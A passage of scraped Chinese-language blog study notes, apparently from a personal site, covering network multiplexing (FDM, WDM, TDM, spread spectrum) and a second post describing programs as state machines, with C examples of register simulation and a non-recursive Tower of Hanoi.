href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%A4%8D%E7%94%A8\" class=\"headerlink\" title=\"复用\"\u003e\u003c/a\u003e复用\u003c/h3\u003e\u003cp\u003e只要连接两台设备的\u003cstrong\u003e介质带宽\u003c/strong\u003e比设备间\u003cstrong\u003e传输所要求的带宽\u003c/strong\u003e高时,该链路就可以被\u003cstrong\u003e共享\u003c/strong\u003e。复用就是\u003cstrong\u003e允许同时通过一条数据链路传输多个信号\u003c/strong\u003e的一组技术。\u003c/p\u003e\u003cp\u003e通过复用器(MUX)和分离器(DEMUX),我们可以将一个连接(link)划分为可以同时使用的多个通道(channel)。\u003c/p\u003e\u003cp\u003e复用器可以分为这几类:\u003c/p\u003e\u003cul\u003e\u003cli\u003eFDM:分频复用\u003c/li\u003e\u003cli\u003eWDM:分带宽(波段)利用\u003c/li\u003e\u003cli\u003eTDM:时分复用\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e前两者是模拟信号方式实现,而TDM是数字信号方式实现。\u003c/p\u003e\u003ch4 id=\"频分多路复用-Frequency-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E9%A2%91%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Frequency-Division-Multiplexing\" class=\"headerlink\" title=\"频分多路复用(Frequency-Division Multiplexing)\"\u003e\u003c/a\u003e频分多路复用(Frequency-Division Multiplexing)\u003c/h4\u003e\u003cul\u003e\u003cli\u003eFDM 是用来组合模拟信号的模拟多路复用技术;\u003c/li\u003e\u003cli\u003e载波频率之间的频率差能够容纳调制信号的带宽;\u003c/li\u003e\u003cli\u003e通道之间使用防护频带进行分隔,防止信号重叠;\u003c/li\u003e\u003cli\u003e载波频率不能影响原始的数据频率;\u003c/li\u003e\u003cli\u003e数字信号转换为模拟信号之后仍然可以使用FDM\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153316.png\"/\u003e\u003c/p\u003e\u003cp\u003e大致思想如上。上面的图是时域表示不够直观,下图将三个4kHz信号合并到一个12kHz的连接上,用频域表示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153449.png\"/\u003e\u003c/p\u003e\u003cp\u003e总的带宽就是每个频段信号的带宽加上防护频带的带宽(一般是通道数-1)之和。例如,有 5个通道,每个通道的带宽是 100kHz,全部进行多路复用。如果通道之间需要 10kHz 的防护频带以防止干扰,则链路的最小带宽是$5\\times100+4\\times10=540kHz$。这样的复用系统可以多级叠加使用。\u003c/p\u003e\u003ch4 id=\"波分多路复用-Wavelength-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Wavelength-Division-Multiplexing\" class=\"headerlink\" title=\"波分多路复用(Wavelength-Division Multiplexing)\"\u003e\u003c/a\u003e波分多路复用(Wavelength-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e它和上面的FDM思想是一致的,只不过处理对象从电信号换成了光信号。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154352.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在复用器上将多个光源组成单一光信号;\u003c/li\u003e\u003cli\u003e在分离器上做相反的处理;\u003c/li\u003e\u003cli\u003e光源组合与分离由棱镜完成;\u003c/li\u003e\u003cli\u003eWDM的一种应用是同步光纤网络(SONET)。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"同步时分多路复用-Synchronous-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%90%8C%E6%AD%A5%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Synchronous-Time-Division-Multiplexing\" class=\"headerlink\" title=\"同步时分多路复用(Synchronous Time-Division Multiplexing)\"\u003e\u003c/a\u003e同步时分多路复用(Synchronous Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003eTDM类似于OS中任务管理的rr策略,将通道切分成多个小片段,按顺序轮流给每一个设备使用。这样,它就将许多低俗通道组合成了一个高速通道。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154544.png\"/\u003e\u003c/p\u003e\u003cp\u003e首先是同步时分复用。在同步TDM中,  链路速率是数据速率的n倍,并且比单元持续时间短 n 倍(如果没有附加同步位的话)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意下图的称呼:帧中包含时隙,时隙数量是通道数量\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154730.png\"/\u003e\u003c/p\u003e\u003cp\u003e例如,将 4个 1kbps的连接一起复用,每个单位为 1位,则复用前,一位的持续时间是$1/1kbps=1ms$,链路速率是通道速率的4倍,也就是$4kbps$。时隙的持续时间是复用前每位持续时间的$1/4$,也就是$250\\mu s$。同时,也可以说位持续时间是数据速率$1/4kbps$的倒数,也就是$250\\mu s$。一帧的持续时间:每帧有四个时隙,所以一帧的持续时间是$250\\mu s$的4倍,也就是$1ms$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e一帧包含的数据量\u003c/strong\u003e,是由一帧包含的位数量(每个时隙的位长度x通道数量)和额外的同步位决定的(一般是1位)。\u003cbr/\u003e而\u003cstrong\u003e帧速率\u003c/strong\u003e,则是输入链路的数据速率/每个时隙单元的位大小决定的。比如输入是$100kbps$,每个时隙$2$位,那么,疫苗就需要$100k\\div2bit=50k$帧每秒的速率发送来保证链路不堵塞。\u003cbr/\u003e然后是\u003cstrong\u003e数据速率\u003c/strong\u003e。考虑上面两个量的乘积,就是数据速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果在某一个瞬间,一个线路没有数据流出,则那个位置在对应时隙空出来。这也就是空时隙(Empty slots)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155353.png\"/\u003e\u003c/p\u003e\u003cp\u003e实际中,传入的数据速率可能不同,这时一般采用下面的策略:\u003c/p\u003e\u003cul\u003e\u003cli\u003e多级复用(Multilevel Multiplexing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155633.png\"/\u003e\u003c/li\u003e\u003cli\u003e多时隙分配(Multiple-slot Allocation)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155639.png\"/\u003e\u003c/li\u003e\u003cli\u003e脉冲填充(Pulse Stuffing)\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155645.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一般,为了同步链路两侧信号,会设置帧指示位:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155738.png\"/\u003e\u003c/p\u003e\u003cp\u003e同步TDM复用速率有一套DS标准:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612155842.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"统计时分多路复用-Statistical-Time-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BB%9F%E8%AE%A1%E6%97%B6%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Statistical-Time-Division-Multiplexing\" class=\"headerlink\" title=\"统计时分多路复用(Statistical Time-Division Multiplexing)\"\u003e\u003c/a\u003e统计时分多路复用(Statistical Time-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e上面的同步TDM的一个缺点就是时隙的空缺,这样不能充分利用高速链路的带宽。因此有了第二种统计时分复用的方法:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160032.png\" alt=\"原理如图,比较简单,就不细说了\"/\u003e\u003c/p\u003e\u003ch3 id=\"扩频\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%89%A9%E9%A2%91\" class=\"headerlink\" title=\"扩频\"\u003e\u003c/a\u003e扩频\u003c/h3\u003e\u003cp\u003e在扩频系统 SS中,也把来自某些源端的信号组合在一起形成一个更宽的带宽,可是目的略有不同。为达到此目的,扩频技术增加了冗余部分,扩展原始信号的频带满足每个站的需要。\u003c/p\u003e\u003ch4 id=\"跳频扩频(Frequency-Hopping-Spread-Spectrum,FHSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E8%B7%B3%E9%A2%91%E6%89%A9%E9%A2%91%EF%BC%88Frequency-Hopping-Spread-Spectrum%EF%BC%8CFHSS%EF%BC%89\" class=\"headerlink\" title=\"跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\"\u003e\u003c/a\u003e跳频扩频(Frequency Hopping Spread Spectrum,FHSS)\u003c/h4\u003e\u003cp\u003e如下图,将原始信号“跳跃”式扩展,来达到扩频目的。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612160332.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"直接序列扩频(Direct-Sequence-Spread-Spectrum,DSSS)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%9B%B4%E6%8E%A5%E5%BA%8F%E5%88%97%E6%89%A9%E9%A2%91%EF%BC%88Direct-Sequence-Spread-Spectrum%EF%BC%8CDSSS%EF%BC%89\" class=\"headerlink\" title=\"直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\"\u003e\u003c/a\u003e直接序列扩频(Direct Sequence Spread Spectrum,DSSS)\u003c/h4\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003cp\u003e非屏蔽双绞线的分类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612163803.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/"},{"title":"什么是程序和编译器","time":"2023-01-27T14:27:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e操作系统的本质:一个程序,用于管理硬件资源供其他程序调用\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e那问题就到了程序本身:程序应该如何定义?这引出了程序的状态机模型:\u003c/p\u003e\u003ch2 id=\"状态机\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%8A%B6%E6%80%81%E6%9C%BA\" class=\"headerlink\" title=\"状态机\"\u003e\u003c/a\u003e状态机\u003c/h2\u003e\u003cp\u003e这东西我们在数电中接触过,硬件基础就是一堆触发器(RS、JK等)。\u003cstrong\u003e状态\u003c/strong\u003e就是寄存器保存的值,初始状态即寄存器初始值,\u003cstrong\u003e迁移\u003c/strong\u003e就是组合逻辑电路计算寄存器下一周期的值。\u003c/p\u003e\u003cp\u003e下面是一个寄存器的模拟程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e REGS_FOREACH(_) _(X) _(Y) \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e RUN_LOGIC X1 = !X \u0026amp;\u0026amp; Y; \\ \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Y1 = !X \u0026amp;\u0026amp; !Y; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e DEFINE(X) static int X, X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e UPDATE(X) X = X##1; \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e PRINT(X) printf(#X \u003cspan class=\"string\"\u003e\u0026#34; = %d; \u0026#34;\u003c/span\u003e, X); \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(DEFINE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"comment\"\u003e// clock \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRUN_LOGIC; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(PRINT); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eREGS_FOREACH(UPDATE); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"程序的定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"程序的定义\"\u003e\u003c/a\u003e程序的定义\u003c/h2\u003e\u003ch3 id=\"源码视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E6%BA%90%E7%A0%81%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"源码视角\"\u003e\u003c/a\u003e源码视角\u003c/h3\u003e\u003cp\u003e程序就是状态机。对于C程序而言,它的状态机模型如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e状态=栈帧+全局变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e初始状态=main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e迁移=执行栈顶的语句并转到下一条指令\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数调用=入栈\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数返回=出栈\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这定义有很多应用,比如将任何递归程序就地转为非递归。虽然实际上递归就是这么实现的(一层递归建立一层函数栈、跳转地址压栈)。例如,下面就是手写函数栈展开递归:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e pc, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, to, via;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} Frame;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ret()     ({ top--; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e goto(loc) ({ f-\u0026gt;pc = (loc) - 1; }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehanoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, \u003cspan class=\"type\"\u003echar\u003c/span\u003e to, \u003cspan class=\"type\"\u003echar\u003c/span\u003e via)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  Frame stk[\u003cspan class=\"number\"\u003e64\u003c/span\u003e], *top = stk - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  call(n, from, to, via);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (Frame *f; (f = top) \u0026gt;= stk; f-\u0026gt;pc++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (f-\u0026gt;pc) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (f-\u0026gt;n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c -\u0026gt; %c\\n\u0026#34;\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to); \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e); } \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;via, f-\u0026gt;to);   \u003cspan 